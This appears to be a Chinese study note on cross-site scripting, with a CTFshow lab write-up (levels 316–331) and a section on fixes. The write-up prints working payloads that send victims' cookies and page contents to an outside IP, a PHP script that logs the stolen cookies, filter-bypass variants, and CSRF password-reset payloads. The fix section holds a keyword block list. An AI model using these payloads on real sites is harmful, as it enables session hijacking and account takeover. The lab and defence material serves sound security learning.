#XSS跨站系列内容:
-
XSS跨站-原理&分类&手法
-
XSS跨站-探针&利用&审计
-
XSS跨站另类攻击手法利用
-
XSS跨站-防御修复&绕过策略
#知识点:
1、XSS 跨站-另类攻击手法分类
2、XSS 跨站-权限维持&钓鱼&浏览器等
1、原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响
的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵
害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行
处理或处理不严,则浏览器就会直接执行用户注入的脚本。
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词、标签、说明
文件上传
2、分类
反射型(非持久型)
存储型(持久型)
DOM 型
mXSS(突变型 XSS)
UXSS(通用型 xss)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
3、危害
网络钓鱼,包括获取各类用户账号;
窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马;
进行恶意操作,如任意篡改页面信息、删除文章等;
进行大量的客户端攻击,如 ddos 等;
获取客户端攻击,如用户的浏览历史、真实ip、开放端口等;
控制受害者机器向其他网站发起攻击;
结合其他漏同,如CSrf.实施进一步危害;
提升用户权限,包括进一步渗透网站。
传播跨站脚本蠕虫等
- 修复
- 过滤一些危险字符
- HTTP-only Cookie
- 设置CSP(content security policy)
4.输入内容长度限制,转义等
Ø XSS 绕过-CTFSHOW-361 到 331 关卡绕过 WP
Ø XSS 修复-过滤函数&http_only&CSP&长度限制
#XSS 绕过-CTFSHOW-361 到 331 关卡绕过 WP
绕过:
参考:https://xz.aliyun.com/t/4067
316-反射型-直接远程调用
直接写入js弹窗,发现直接爆了,一般的是需要通过获取Cookie等信息,构造链接让管理员点的,但属于这种刷题的,网站会自动配个机器人辅助点击,同时将此服务器作为本地,无需考虑跨站。
Payload:
<script>window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie</script>
window.location.href用于获取当前页面 URL 或让浏览器跳转到新 URL 的重要方法
do cument.cookie获取cookie值
构造get.php
php
<?php
$cookie=$_GET['c'];
$myfile=fopen("cookie.txt","w+");
Fwrite($myfile,$cookie);
Fclose($myfile);
?>
需等待网站的管理员点击链接------机器人代点
获取flag
317-反射型-过滤<script>
<img src=1
οnerrοr=window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;>
发现没有发生跳转,就说明出现了过滤,排除为script过滤
所以,更换标签
由于网站是机器人则需要考虑一些事件是否可以让机器人触发:onerror、onclick等,机器人无法成功的触发,所以最好的事件选择是onload载入事件(不需要任何触发条件,直接触发)
Payload:
<img src=1
οnerrοr=window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;>
318 319-反射型-过滤<img>
Payload:
<input
οnlοad="window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;">
<svg
οnlοad="window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;">
同理放入img标签无反应,更换不同的标签即可
320-326-反射型-过滤空格 和<> 和过滤其他标签
过滤空格------通过正则表达式<>+空格
Payload:
<svg/οnlοad="window.location.href='http://47.94.236.117/get.php?c
='+document.cookie;">
327-存储型-无过滤
直接注入
Payload:
<script>window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie</script>
328-存储型-注册插入 JS
若要管理员的账号,需要管理员的cookie
则:得知了后台管理员有功能页面,能够查看注册用户的账号密码;
如果我们将注册的账号密码改成JS代码,在管理员查看账号密码的时候会触发JS,从而发送到我们的本地文件,拿到cookie信息------实现跨站攻击
Payload:
<script>window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie</script>
通过bp更改cookie,登入管理员账号,拿取flag
329-存储型-失效凭据需 1 步完成所需操作
同理,发现失效了
分析:发现它的phpsessionid一直在更改,一个sessionid的有效期很短,且只能用一次,当触发了JS时,此cookie值就已经失效了
因此我们需要在cookie触发js之前,就拿到flag。------即获得当前的页面源代码(一些靶场会屏蔽xss平台)
Payload:通过标签找ctfshow{}的关键字,发送到本地里,也就是获取源代码
javascript
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){
window.location.href='http://47.94.236.117/get.php?c='+value.inne
rHTML;
}
});
</script>
330-存储型-借助修改密码重置管理员密码(GET) \
分析:此修改密码的功能并没有对账号进行验证,即只要是个用户,则访问该网址都会进行修改密码,那么当管理员访问了该网站,也会对密码进行修改
攻击:在注册界面中放入一个存在跳转修改密码的URL地址链接;如果管理员登录后台,并查看了用户的注册密码信息,则会触发修改密码,从而重置管理员密码------CSRF
Payload:
<script>window.location.href='http://127.0.0.1/api/change.php?p=1
23';</script>
Href是在网站直接触发
Src是内部触发,即悄悄的触发
331-存储型-借助修改密码重置管理员密码(POST)
修改密码的页面请求方式改为POST,所以我们需考虑用js 触发POST请求即可
Payload:
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post'
,data:{p:'123'}});</script>
#XSS 修复-过滤函数&http_only&CSP&长度限制
- 过滤一些危险字符,以及转义&<>" '等危险字符
自定义过滤函数引用
php
function remove_xss($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
2、HTTP-only Cookie
参考:https://www.php.cn/faq/457831.html
HTTP-only:这个主要是解决用户的cookie可能被盗用的问题
php ini设置或代码引用session.cookie_ httponly =1
ini_ set"'session.cookie_ httponly", 1);
3、设置CSP(Content Security Policy)
参考:https://blog.csdn.net/a1766855068/article/details/89370320
header("Content- Security-Policy:img-src 'self' ");
只限制本地源,不让外部获取数据,即Cookie出不了外部
4.输入内容长度限制,实体转义等